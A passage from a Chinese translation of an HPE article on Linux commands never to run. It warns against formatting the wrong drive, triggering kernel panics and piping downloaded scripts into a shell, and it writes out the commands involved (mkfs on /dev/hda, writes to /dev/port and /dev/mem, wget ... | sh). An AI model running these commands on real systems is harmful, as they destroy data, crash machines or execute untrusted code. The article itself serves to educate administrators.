在前一种情况下,你作为 root 用户,把整个磁盘数据都送进这个如饥似渴的 /dev/null。在后者,你仅仅把家目录喂给这个空空如也的仓库。任何一种情况下,除非还原备份,你再也不会再看见你的数据了。

见鬼,难道会计真的不需要最新的应收账款文件了吗?

格式化错了驱动器

有时候你需要使用这一条命令格式化驱动器:

mkfs.ext3 /dev/hda

……它会用 ext3 文件系统格式化主硬盘驱动器。别,请等一下!你正在格式化你的主驱动器!难道你不需要用它?

当你要格式化驱动器的时候,请务必加倍确认你正在格式化的分区是真的需要格式化的那块而不是你正在使用的那块,无论它们是 SSD、闪存盘还是其他氧化铁磁盘。

内核崩溃

一些 Linux 命令不能让你的机器长时间停机。然而,一些命令却可以导致内核崩溃。这些错误通常是由硬件问题引起的,但你也可以自己搞崩。

当你遭遇内核崩溃,重新启动系统你才可以恢复工作。在一些情况下,这只是有点小烦;在另一些情况下,这是一个大问题,比如说,高负荷运作下的生产环境。下面有一个案例:

dd if=/dev/random of=/dev/port
echo 1 > /proc/sys/kernel/panic
cat /dev/port
cat /dev/zero > /dev/mem

这些都会导致内核崩溃。

绝不要运行你并不了解它功能的命令,它们都在提醒我…

提防未知脚本

年轻或是懒惰的系统管理员喜欢复制别人的脚本。何必重新重复造轮子?所以,他们找到了一个很酷的脚本,承诺会自动检查所有备份。他们就这样运行它:

wget https://ImSureThisIsASafe/GreatScript.sh -O- | sh

这会下载该脚本,并将它送到 shell 上运行。很明确,别大惊小怪,对吧?不对。这个脚本也许已经被恶意软件感染。当然,一般来说 Linux 比大多数操作系统都要安全,但是如果你以 root 用户运行未知代码,什么都可能会发生。这种危害不仅在恶意软件上,脚本作者的愚蠢本身同样有害。你甚至可能会因为一个未调试的代码吃上一堑——由于你没有花时间去读它。

你认为你不会干那样的事?告诉我,所有那些 你在 Docker 里面运行的容器镜像在干什么?你知道它们到底在运行着什么吗?我见过太多的没有验证容器里面装着什么就运行它们的系统管理员。请不要和他们一样。

结束

这些故事背后的道理很简单。在你的 Linux 系统里,你有巨大的控制权。你几乎可以让你的服务器做任何事。但是在你使用你的权限的同时,请务必做认真的确认。如果你没有,你毁灭的不只是你的服务器,而是你的工作甚至是你的公司。像蜘蛛侠一样,负责任的使用你的权限。

我有没有遗漏什么?在 @sjvn@enterprisenxt 上告诉我哪些 Linux 命令在你的“绝不要运行!”的清单上。


via: https://www.hpe.com/us/en/insights/articles/the-linux-commands-you-should-never-use-1712.html

作者:Steven Vaughan-Nichols 译者:CYLeft 校对:wxy

本文由 LCTT 原创编译,Linux中国 荣誉推出